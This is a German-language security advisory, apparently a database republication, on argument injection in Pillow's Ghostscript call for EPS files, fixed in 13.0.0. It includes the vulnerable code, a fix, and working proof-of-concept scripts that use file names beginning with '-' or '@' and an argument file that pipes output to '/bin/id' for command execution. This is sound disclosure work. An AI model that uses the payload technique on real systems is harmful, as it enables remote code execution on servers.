Pillow: Argument-Injection beim Ghostscript-Aufruf mit möglichem RCE-Risiko
Zusammenfassung
PIL.EpsImagePlugin.Ghostscript() erstellt die Ghostscript-Befehlszeile unter Verwendung des Eingabedateipfads (fp.name) ohne Bereinigung und platziert ihn bei -f <infile>. Ein Dateiname, der mit - beginnt, wird von Ghostscript als Option interpretiert, was eine Argument-Injection über die Befehlszeile ermöglicht; dies lässt sich zu einer Remotecodeausführung (RCE) verketten (siehe Auswirkungen). Dies lässt sich mit dem Standardaufruf von Pillow (mit aktiviertem -dSAFER) reproduzieren.
Details
Typ
CWE-88 (Argument-Injection) (→ optional CWE-78 (OS-Befehlsinjektion), wenn eine Textdatei vom Angreifer kontrolliert wird)
Verwundbarer Code
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
Ursache
Beim Rendern eines EPS-Bildes konstruiert PIL.EpsImagePlugin.Ghostscript() die Ghostscript-Befehlszeile unter Verwendung des Pfads der Eingabedatei (fp.name) und platziert diesen direkt an der Position -f <infile> der Argumentliste. Dieser Pfad kann von Benutzern kontrolliert werden, dennoch führt Pillow keine Validierung oder Neutralisierung von Tokens durch, die Ghostscript beim Parsen von Befehlszeilenargumenten speziell behandelt — insbesondere ein vorangestelltes - oder -- (was Ghostscript als Option statt als Dateinamen interpretiert) und ein vorangestelltes @ (Ghostscripts Argumentdatei-Syntax, die bewirkt, dass zusätzliche Befehlszeilenargumente aus der angegebenen Datei gelesen werden). Da der Dateiname weder normalisiert (z. B. in einen absoluten Pfad umgewandelt oder mit ./ vorangestellt) noch vor der Übergabe an den Subprozess auf diese Präfixe geprüft wird, kann ein Angreifer, der den an Image.open() übergebenen Dateinamen kontrolliert, beliebige Ghostscript-Befehlszeilenargumente einschleusen. Dies ist eine klassische Schwachstelle durch Argument-Injection (CWE-88) und wird durch Pillows Standardeinstellung -dSAFER nicht entschärft.
Betroffen
- Pillow: getestet auf 12.3.0 (aktuell); der verwundbare Code besteht seit langem und scheint alle aktuellen Versionen (einschließlich
main) zu betreffen. - Komponente:
src/PIL/EpsImagePlugin.py,Ghostscript()—infile = fp.namesowie der Befehlslisteneintrag"-f", infile.
Vorgeschlagener Fix
Normalisieren des Dateinamens zu einem absoluten Pfad, bevor er an Ghostscript übergeben wird, damit er niemals als Option (-/--) oder als Token für eine Argumentdatei (@) geparst werden kann:
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() stellt sicher, dass der Pfad mit einem Pfadtrennzeichen (oder unter Windows mit einem Laufwerksbuchstaben) beginnt, sodass ein vorangestelltes - oder @ den Argument-Parser von Ghostscript nicht mehr erreichen kann. Der Zweig else erstellt bereits einen sicheren tempfile.mkstemp()-Pfad und bedarf keiner Änderung.
PoC
Dockerfile, Standardausführung zeigt die Argument-Injection-Demo (poc.py); für den RCE-PoC python3 poc-rce.py ausführen.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Auswirkungen
Bestätigt — Ghostscript-Argument-Injection. Da der Dateiname nicht validiert wird, wird ein vorangestelltes -/-- von Ghostscript als Option statt als Datei interpretiert. Ein Angreifer, der den an Image.open() übergebenen Dateinamen kontrolliert, kann daher ein Ghostscript-Befehlszeilenargument einschleusen. Die Injektion eines einzelnen Arguments ist stets erfolgreich.
Mögliche RCE (verifiziert). Der Dateiname wird zudem nicht gegen Ghostscripts @-Dateisyntax geprüft: Ein Dateiname der Form @<path> veranlasst Ghostscript dazu, zusätzliche Befehlszeilenargumente aus <path> einzulesen, wodurch mehrere Argumente gleichzeitig injiziert werden können. Hat der Angreifer zusätzlich die Kontrolle über die referenzierte Datei, kann dies zur Ausführung beliebiger Befehle eskaliert werden — eine Eskalation, die im PoC verifiziert wurde (Ausführung von id).
Trifft unter der Standardkonfiguration von Pillow (mit aktiviertem -dSAFER) auf Pillow 12.3.0 mit Ghostscript 10.02.1 zu. Mit denselben GS-Argumenten wurde eine RCE auch mit der neuesten GS-Version (10.07.1) bestätigt.
Warum dies ein Pillow-Fehler ist (und nicht das dokumentierte Risiko bezüglich nicht vertrauenswürdiger EPS-Dateien)
Dies ist nicht das in Pillows Sicherheitsrichtlinie beschriebene Risiko bösartiger EPS-Inhalte: Die Schwachstelle wird durch den Dateinamen ausgelöst, nicht durch den Inhalt des PostScript-Dokuments. Eine völlig harmlose EPS-Datei führt dennoch zu einer Ghostscript-Argument-Injection, wenn der an Image.open() übergebene Dateiname vom Angreifer beeinflusst werden kann. Anwendungen, die EPS legitim verarbeiten, bleiben daher betroffen — der Hinweis, nicht vertrauenswürdige EPS-Eingaben zu blockieren, deckt diesen Fall nicht ab.
Da Pillow die Komponente ist, die die Ghostscript-Befehlszeile erstellt, liegt es in der Verantwortung von Pillow und nicht bei jedem nachgelagerten Aufrufer, sicherzustellen, dass ein Dateiname nicht als Option (-/--) oder Argumentdatei-Token (@) uminterpretiert werden kann. Die Voraussetzung — Angreiferkontrolle über einen Dateinamen, der Image.open() erreicht — ist realistisch (z. B. Datei-Upload-Endpunkte, die den gespeicherten Namen aus Benutzereingaben beibehalten oder ableiten), und die Verkettung mit dieser Schwachstelle führt in der Praxis zu RCE. Eine einzeilige Normalisierung (os.path.abspath(fp.name)) schließt die Lücke ohne Änderung der API-Nutzung.
Autor
Chanu Kang (von CysecLab am KAIST) @HLe4s
Was zu tun ist
Aktualisieren Sie das Paket pillow auf Version 13.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 2.6.0, < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh
- https://nvd.nist.gov/vuln/detail/CVE-2026-112900
- https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-78, CWE-88- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 22.10.2026 00:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-w889-685w-c8fh - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 89
- Erste → letzte
- 04.2014 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 12
- Hoch 57
- Mittel 18
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
früher: 12
-
Pillow: Argument-Injection beim Ghostscript-Aufruf mit möglichem RCE-Risiko dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.